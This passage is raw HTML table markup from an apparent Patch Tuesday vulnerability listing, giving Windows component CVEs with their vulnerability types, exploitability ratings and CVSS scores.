href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609"><br>CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316">CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a 